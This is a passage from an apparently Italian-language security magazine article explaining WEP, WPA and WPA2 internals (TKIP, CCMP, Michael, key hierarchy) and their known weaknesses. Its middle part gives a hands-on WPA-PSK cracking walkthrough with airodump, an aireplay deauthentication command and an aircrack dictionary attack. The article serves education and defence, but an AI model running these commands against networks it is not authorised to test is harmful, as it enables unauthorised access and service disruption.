Chaining Message Authentication Code Protocol), WRAP (Wireless Robust Authenticated Protocol). • Prima di analizzare in dettaglio questi protocolli dobbiamo capire un concetto importante: la differenza che passa tra un MSDU (MAC Service Data Unit) e un MPDU (MAC Fase 4: Segretezza e integrità dei dati RSNA Tutte le chiavi generate in precedenza sono usate nei protocolli che 22 hakin9 Nº 2/2006 • Fig. 10: Fase 3: Group Key Hierarchy www.hakin9.org • integrità del messaggio: una nuova MIC (Message Integrity Protocol) chiamata Michael che può essere implementata nei software che girano su microprocessori lenti, IV: una nuova selezione di regole per i valori IV, re-utilizzando il vettore IV come contatore replay (TSC, o TKIP Sequence Counter) e aumentando le dimensioni del vettore IV per evitare il riutilizzo, Funzione Per Packet Key Mixing: per generare chiavi di cifratura apparentemente non legate, gestione chiave: nuovo meccanismo per la distribuzione e la modifica delle chiavi. Sicurezza WEP, WPA e WPA2 Il modello TKIP Key-Mixing si divide in due fasi. La Fase 1 riguarda i dati statici – la chiave di sessione segreta TEK, l'indirizzo trasmettitore MAC TA (per prevenire le collisioni tra vettori IV) e i 32 bit più alti del vettore IV. La Fase 2 dipende dall'output della Fase 1 e comprende i 16 bit più bassi del vettore IV, modificando tutti i bit del campo Per Packet Key per ogni nuovo IV. Il valore IV inizia sempre con 0 ed è aumentato di 1 per ogni pacchetto inviato, con il rifiuto di qualsiasi messaggio il cui TSC non è più grande dell'ultimo messaggio. L'output della Fase 2 e parte del IV esteso (più un byte di prova) sono l'input per la RC4, generando un keystream con un operatore XOR con un MPDU in formato testo, la MIC calcolata dalla MPDU e il vecchio ICV di WEP (vedere Fig. 12). Il calcolo MIC utilizza l'algoritmo Michael di Niels Ferguson. Venne creato per la TKIP e ha un livello di sicurezza di 20 bit (l'algoritmo non usa la moltiplicazione per ragioni di prestazione, poiché deve essere supportato da hardware wireless di vecchia generazione e deve essere aggiornato per il WPA). A causa di questi limiti, le contromisure sono necessaire per evitare una alterazioni MIC. I guasti MIC devono essere ridotti a due al minuto, altrimenti viene applicato un balckout di 60 secondi e le nuove chiavi (GTK e PTK) devono essere stabilite in un secondo momento. Micheal calcola un valore di controllo di 8 ottetti chiamato MIC e lo aggiunge al MSDU prima della trasmissione. La MIC viene calcolato dall'indirizzo di origine (SA), indirizzo di destinazione (DA), MSDU in testo chiaro e la TMK appropriata (a seconda dei casi, viene usata una chiave diversa per la trasmissione e la ricezione). Il CCMP si basa sulla suite dei cifrario a blocco AES (Advanced Encryption Standard) in modalità CCM con le chiavi e i blocchi di 128 bit. AES è per CCMP quello che RC4 è per TKIP, ma al contrario di TKIP che era stato creato per accogliere l'hardware WEP esistente, CCMP non è un ibrido bensì un nuovo protocollo. Il CCMP utilizza una modalità combinato ad un messaggio di autenticazione detto Fig. 11: Fase 3: Group Key Handshake Cipher Block Chaining (CBC-MAC) per produrre una MIC. Esso aggiunge altre funzionalità interessanti, come l'uso di una singola chiave per la cifratura e l'autenticazione (con diversi vettori di inizializzazione) o che si occupavano dati non cifrati dall'autenticazione. Il protocollo CCMP aggiunge 16 byte alla MPDU: 8 byte per l'intestazione CCMP e 8 byte per la MIC. L'intestazione CCMP è un campo non cifrato incluso tra l'intestazione MAC e i dati cifrati, inclusi il PN di 48 bit (Packet Number = IV esteso) e il Group Key KeyID. La PN viene aumentata di uno per ogni MPDU successivo. Il calcolo MIC utilizza l'algoritmo CBC-MAC che cripta il blocco nonce (calcolato dai campi Priority, MPDU indirizzo di origine e il PN aumentato) e i blocchi XOR successivi per ottenere una MIC finale di 64 bit (la MIC finale è un blocco di 128 bit, dal momento che i 64 bit più bassi sono rifiutati). Il MIC viene più aggiunto ai dati in testo semplice per la cifratura AES in modalità contatore. Il contatore è costruito da un nonce simile a quello della MIC, ma con un campo contatore in più inizializzato a 1 e incrementato per ogni blocco. L'ultimo protocollo è WRAP, basato anch'esso su AES, ma che utilizza il modello di cifratura autenticato OCB (Offset Codebook Mode) (cifratura e l'autenticazione in un unico calcolo). Il modello OCB fu il primo scelto dal gruppo di lavoro di IEEE 802.11i, ma venne poi abbandonato a causa di problemi legati alla proprietà intellettuale e le tariffe della www.hakin9.org licenza. Il CCMP venne allora adottato come metodo obbligatorio. Limiti di WPA/WPA2 Anche se sono state scoperte un numero di limiti minori in WPA/WPA2, nessuna di queste debolezze è considerato troppo pericolo a condizione che si rispettano le raccomandazioni di sicurezza. La vulnerabilità più pratica è l'attacco contro la chiave PSK di WPA/ WPA2. Come abbiamo già detto, la PSK fornisce un alternativa alla generazione PMK di 802.1x attraverso un server di autenticazione. Si tratta di una stringa di 256 bit o passphrase di 8 a 63 caratteri usati per generare tale stringa con un algoritmo noto: PSK = PMK = PBKDF2 (password, SSID, lunghezza SSID, 4096, 256), dove PBKDF2 è un metodo usato in PKCS#5, 4096 è il numero delle hash e 256 è la lunghezza dell'output. Il PTK è derivato dalla PMK usando la Handshake a 4 vie e tutte le informazioni usate per calcolare il suo valore è trasmesso in testo semplice. La forza di PTK quindi risiede solo nel valore PMK che per la PSK significa la passphrase. Come indicato da Robert Moskowitz, il secondo messaggio della Handshake a 4 vie potrebbe essere soggetto sia al dictionary attack sia alla brute force offline. Cowpatty fu creata per sfruttare questo difetto,e il suo codice sorgente era stato usato e migliorato da Christophe Devine in Aircrack per consentire il gli attacchi di tipo dictionary su PSK e di brute force su WPA. La struttura del protocollo (4096 hash per ogni hakin9 Nº 2/2006 23 Prima Pagina Fig. 12: Modello TKIP Key-Mixing e cifratura tentativo di password) significa che un attacco brute force è molto lento (solo alcune centinaia di password per secondo con i più recenti processori singoli). Il PMK non può essere pre-calcolato dal momento che la passphrase viene mischiato ulteriormente in base alla ESSID. Per proteggersi efficacemente da questo difetto è bene scegliere una buona passphrase con parole inesistenti (almeno 20 caratteri). Fig. 13: Calcolo MIC con l'algoritmo Michael Fig. 14: Cifratura CCMP 24 hakin9 Nº 2/2006 www.hakin9.org Sicurezza WEP, WPA e WPA2 Per eseguire questo attacco, l'aggressore dove catturare i messaggi della Handshake a 4 vie monitorano passivamente la rete wireless o usando l'attacco di de-autenticazione (descritto prima) per velocizzare il processo. Infatti, i primi due messaggi sono necessari per iniziare la previsione dei valori PSK. Ricordate che PTK = PRF-X (PMK, Pairwise key expansion, Min(AP_Mac, STA_Mac) || Max(AP_ Mac, STA_Mac) || Min(ANonce, SNonce) || Max(ANonce, SNonce)), dove PMK è uguale a PSK nel nostro caso. Dopo il secondo messaggio, l'aggressore conosce ANonce (dal primo messaggio) e SNonce (dal secondo messaggio) e può iniziare a indovinare il valore PSK per calcolare il PSK e le chiavi temporanee derivate. Se il PSK è indovinato giustamente, il MIC del secondo messaggio potrebbe essere ottenuto con la KCK corrispondente – altrimenti una nuova previsione deve essere fatta. Adesso vediamo un esempio pratico. Inizia proprio con l'esempio del cracking del WEP. Il primo passo è attivare la modalità monitor: # airmon.sh start ath0 Il passo successivo è di rilevare reti vicine e i rispettivi client associati (vedere Listing 7). Questo risultato potrebbe essere interpretato come segue: un punto di accesso con BSSID 00:13:10:1F:9A: 72 sta usando la cifratura WPA sul canale 1 con la SSID hakin9demo e un client, identificato dall'indirizzo MAC 00:0C:F1:19:77:5C sono associati e autenticati su questa rete wireless (in altre parole la Handshake a 4 vie è stata già fatta per questo client). Una volta trovato la rete di interesse, verrà lanciato la cattura sul canale corretto per evitare di mancare i pacchetti desiderati durante la scansione di altri canali: mettendoci di catturare i messaggi Handshake a 4 vie. Aireplay è usata anche per questo attacco e dissocerà il client selezionato con il BSSID specificato inviando una richiesta di dissociazione fasulla: # aireplay -0 1 -a <BSSID> -c <client_mac> ath0 Il passo finale è di lanciare un attacco di dizionario usando Aircrack (vedere Listing 8). La Fig. 15 presenta i risultati. L'altra grande debolezza di WPA è la possibilità di un Denial of Service durante la Handshake a 4 vie. Changhua He e John C. Mitchell hanno notato che il primo messaggio della Handshake a 4 vie non è autenticato e ogni client deve memorizzare ogni primo messaggio fino a quando non riceve un terzo messaggio valido (firmato), lasciando il client vulnerabile all'esaurimento della memoria. Falsando il primo messaggio inviato dal punto di accesso, un aggressore può eseguire un DoS sul client se è possibile per diverse sessioni simultanee di esistere. Il Michael Message Integrity Code noto anche come debolezza che risulta dalla sua struttura (forzato dal task group di 802.11i). La sicurezza di Michael si basa su una comunicazione cifrata. Anche se le MIC crittografiche sono di solito pianificate per resistere a attacchi in testo semplice noti (dove Listing 7. Rilevazione di reti vicine # airodump ath0 wpa-crk 0 BSSID 00:13:10:1F:9A:72 PWR 56 Beacons 112 # Data 16 BSSID 00:13:10:1F:9A:72 STATION 00:0C:F1:19:77:5C PWR 34 CH 1 MB 48 Packets 1 ENC WPA ESSID hakin9demo ESSID hakin9demo Listing 8. Lancio di un attacco di dizionario $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap Opening wpa-psk.cap Read 541 packets. BSSID ESSID Encryption 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake) # airodump ath0 wpa-psk 1 i client illegittimi dovrebbero quindi essere dissociati, obbligandoli a iniziare una nuova associazione e per- Fig. 15: WPA PSK debole trovata con Aircrack www.hakin9.org hakin9 Nº 2/2006 25 Prima Pagina l'aggressore ha un messaggio in chiaro e il proprio MIC), Micheal è vulnerabile a tali attacchi perché è invertibile. Dato un unico messaggio noto e il suo valore MIC, è possibile scoprire la chiave segreta MIC, quindi mantenendo il valore MIC segreto è cruciale. L'ultima debolezza nota è un attacco teoretico contro la Temporal Key Hash di WPA, che comprende una complessità ridotta dell'attacco (da ∂128 a ∂105) in alcune circostanze (conoscenza di diverse chiavi RC4). WPA/WPA2 sono anche soggette a vulnerabilità che colpiscono altri meccanismi 802.11i come gli attacchi con l'alterazione del messaggio802.1X (EAPoL Logoff, EAPoL Start, EAP Failure ecc.), descritto per la prima volta da William A. Arbaugh e Arunesh Mishra e forse dovuto alla mancanza di autenticazione. Infine, è importante notare che usare il protocollo WPA/ WPA2 non fornisce nessuna protezione contro le tecnologie sottostanti, come la radio frequency jamming, DoS attraverso violazioni 802.11, deautenticazione, de-associazione, ecc. Implementazione WPA/WPA2 OS Su Windows, il supporto WPA2 non è integrato. Un aggiornamento per Windows XP SP2 (KB893357) venne distribuito il 29 aprile 2005, aggiungendo WPA2 e migliorando la rilevazione della rete (vedere Fig. 16). Altri sistemi operativi Microsoft devono usare un supplicant esterno (commerciale o open sour- ce, come wpa_supplicant – la versione Windows è sperimentale). Su Linux e *BSD, wpa_supplicant era già pronto per WPA2 appena uscito lo standard 802.11i. Il supplicant esterno supporta una grande quantità di metodi EAP e le funzioni per la gestione delle chiavi per WPA, WPA2 e WEP. Le reti multiple possono essere dichiarate con diversi metodi di cifratura, gestione delle chiavi EAP – Il Listing 9 presenta un semplice file di configurazione WPA2. La collocazione predefinita per il file di configurazione wpa_supplicant è /etc/wpa_supplicant.conf, e il file dovrebbe solo essere accessibile dall'utente di root. Il demone wpa_supplicant dovrebbe prima essere lanciato con Glossario • • • • • • • • • • • • • • • • • • 26 AP – Access Point, una stazione base per una rete Wi-Fi che connette client wireless tra di essi e a reti wired. ARP – Address Resolution Protocol, protocollo per la traduzione di indirizzi IP in indirizzi MAC. BSSID – Basic Service Set Identifier, indirizzo MAC per il punto d'accesso. CCMP – Counter-Mode / Cipher Block Chaining Message Authentication Code Protocol, protocollo di cifratura usato in WPA2, basato sulla suite dei cifrari a blocco AES. CRC – Cyclic Redundancy Check, algoritmo pseudo-integrità usato nel protocollo WEP (debole). EAP – Extensible Authentication Protocol, framework per diversi metodi di autenticazione. EAPOL – EAP Over LAN, protocollo usato nelle reti wireless per il trasporto del framewrok EAP. GEK – Group Encryption Key, chiave per la cifratura dei dati nel traffico multicast (usato anche per la integrità in CCMP). GIK – Group Integrity Key, chiave per la cifratura dei dati nel traffico multicast (usato in TKIP). GMK – Group Master Key, chiave principale del gruppo di gerarchia delle chiavi. GTK – Group Transient Key, chiave derivante dalla GMK. ICV – Integrity Check Value, campo dati aggiunti ai dati in chiaro per l'integrità (basato sull'algoritmo debole CRC32). IV – Initialization Vector, dati combinati con la chiave di cifratura che produce un unico keystream. KCK – Key Confirmation Key, chiave di integrità che protegge i messaggi di handshake. KEK – Key Encryption Key, chiave di segretezza che protegge i messaggi di handshake. MIC – Message Integrity Code, campo dati aggiunti ai dati in chiaro per l'integrità (basato sull'algoritmo Michael). MK – Master Key, chiave maestra nota al supplicant e all'autenticatore dopo il processo di autenticazione 802.1x. MPDU – Mac Protocol Data Unit, pacchetti dati prima della frammentazione. hakin9 Nº 2/2006 • • • • • • • • • • • • • • • • • • MSDU – Mac Service Data Unit, pacchetto dati dopo la frammentazione. PAE – Port Access Entity, porta logica 802.1x. PMK – Pairwise Master Key, chiave maestra della coppia della gerarchia della chiave. PSK – Pre-Shared Key, chiave derivante da una passphrase che sostituisce il PMK che si solito vienen lanciato dal un vero server autenticatore. PTK – Pairwise Transient Key, chiave derivante dalla PMK. RSN – Robust Security Network, meccanismo di sicurezza 802.11i (TKIP, CCMP ecc.). RSNA – Robust Security Network Association, associazione di sicurezza usato in un RSN. RSN IE – Robust Security Network Information Element, campi contenenti le informazioni RSN incluse nella Probe Response e nella Association Request. SSID – Service Set Identifier, l'identificatore della rete wireless (diverso da ESSID). STA – Station, un client wireless. TK – Temporary Key, chiave per la cifratura dei dati nel traffico unicast (usato anche per la verifica dell'integrità in CCMP). TKIP – Temporal Key Integrity Protocol, protocollo di cifratura usato in WPA basato sull'algoritmo RC4 (come WEP). TMK – Temporary MIC Key, chiave per l'integrità dei dati nel traffico unicast (usato in TKIP). TSC – TKIP Sequence Counter, contatore replay usato in TKIP (diverso da Extended IV). TSN – Transitional Security Network, meccanismo di sicurezza pre-802.11i (WEP ecc.). WEP – Wired Equivalent Privacy, protocollo di cifratura predefinito per le reti 802.11. WPA – Wireless Protected Access, implementazione di una prima versione dello standard 802.11i, basato sull'algoritmo di cifratura TKIP. WRAP – Wireless Robust Authenticated Protocol, il vecchio protocollo di cifratura usato nelle WPA2. www.hakin9.org Sicurezza WEP, WPA e WPA2 Listing 9. File di configurazione wpa_supplicant per WPA2 ap_scan=1 # Scan radio frequency and select appropriate access point network={ # First wireless network ssid="some_ssid" # SSID of the network scan_ssid=1 # Send Probe Request to find hidden SSID proto=RSN # RSN for WPA2/IEEE 802.11i key_mgmt=WPA-PSK # Pre-Shared Key authentication pairwise=CCMP # CCMP protocol (AES encryption) psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac } i privilegi di root in modalità debug (opzione -dd), con il supporto di driver corretto (nel nostro esempio è l'opzione -D madWi-Fi per suppor- tare il chipset Atheros), il nome dell'interfaccia (opzione -i, nel nostro caso è ath0) e un percorso al file di configurazione (opzione -c): # wpa_supplicant Cenni sull'autore Guillaume Lehembre è un consulente francese che si occupa della sicurezza informatica presso la HSC (Hervé Schauer Consultants – http://www.hsc.fr) dal 2004. Durante la sua lunga e varieggiata carriera professionale si è occupato di certificazioni, studi e test di penetrazione, acquisendo una notevole esperienza nella sicurezza wireless. Ha anche tenuto delle conferenze e pubblicato degli studi sulla sicurezza. Potete contattare Guillaume al suo indirizzo email: [email protected]. In Rete • • • • • • • • • • • • • • • • • Fig. 16: Supporto WPA2 su Windows XP SP2 http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – standard IEEE 802.11i, http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley – ISBN: 0-321-13620-9, http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – Un attacco induttivo in formato testo contro WEP/WEP2 (Arbaugh), http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Debolezze dell'algoritmo Key Scheduling della RC4 (Fluhrer, Mantin, Shamir), http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – ottimizzazione h1kari, http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – articolo Intercepting Mobile Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner), http://airsnort.shmoo.com/ – AirSnort, http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine), http://weplab.sourceforge.net/ – Weplab (Sanchez), http://www.Wi-Finetnews.com/archives/002452.html – limiti di WPA PSK (Moskowitz), http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – strumenti per il crack con Cowpatty WPA-PSK, http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analisi della handshake a 4 vie 802.11i (He, Mitchell), http://www.cs.umd.edu/%7ewaa/1x.pdf – Un'analisi iniziale della sicurezza dello standard IEEE 802.1X (Arbaugh, Mishra), http://support.microsoft.com/?kbid=893357 – Aggiornamento WPA2 per Microsoft Windows XP SP2, http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant, http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Parte 1, http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Parte 2. www.hakin9.org -D madWi-Fi -dd -c /etc/wpa_supplicant.conf -i ath0 Tutte le fasi teoriche descritte appena sono output in modalità debug (associazione AP, autenticazione 802.1X, Handshake a 4 vie ecc.). Appena è tutto funzionante, wpa_supplicant dovrebbe essere eseguito in modalità demone (sostituite l'opzione -dd con -B). Su Macintosh, WPA2 è supportato con la versione dell'aggiornamento 4.2 di Apple AirPort software: AirPort Extreme-enabled Macintoshes, AirPort Extreme Base Station e AirPort Express. Conclusioni Ci sembra chiaro che la cifratura WEP non fornisce abbastanza sicurezza in ambito delle reti wireless e può essere usata solo con soluzioni di cifratura di livello più alto (come VPN). WPA è una soluzione sicura per dispositivi che si possono aggiornare e che non supportano WPA2, ma WPA2 diventerà presso lo standard per la sicurezza wireless. Non dimenticate di mettere i vostri dispositivi wireless in una zona filtrata e mantenere una connessione wired a portata di mano per le reti mission-critical ad alta prestazione – radio frequency jamming e attacchi di basso livello (violazione dello standard 802.11, de-associazioni fasulle, ecc) possono ancora essere devastanti. l hakin9 Nº 2/2006 27
Documenti analoghi
Sicurezza delle reti wireless
§ svantaggi
§ scalabilità
§ MAC spoofing
§ sicurezza fisica
§ in caso di furto non c’è più sicurezza
La sicurezza nelle reti Wireless: tecniche di
singoli punti di accesso.
Determinano la quantità dei dati trasmessi per
eventuali attacchi al WEP
Alcuni di essi ricavano le informazioni relative ai sistemi
Cisco attraverso il Cisco Discovery Pr...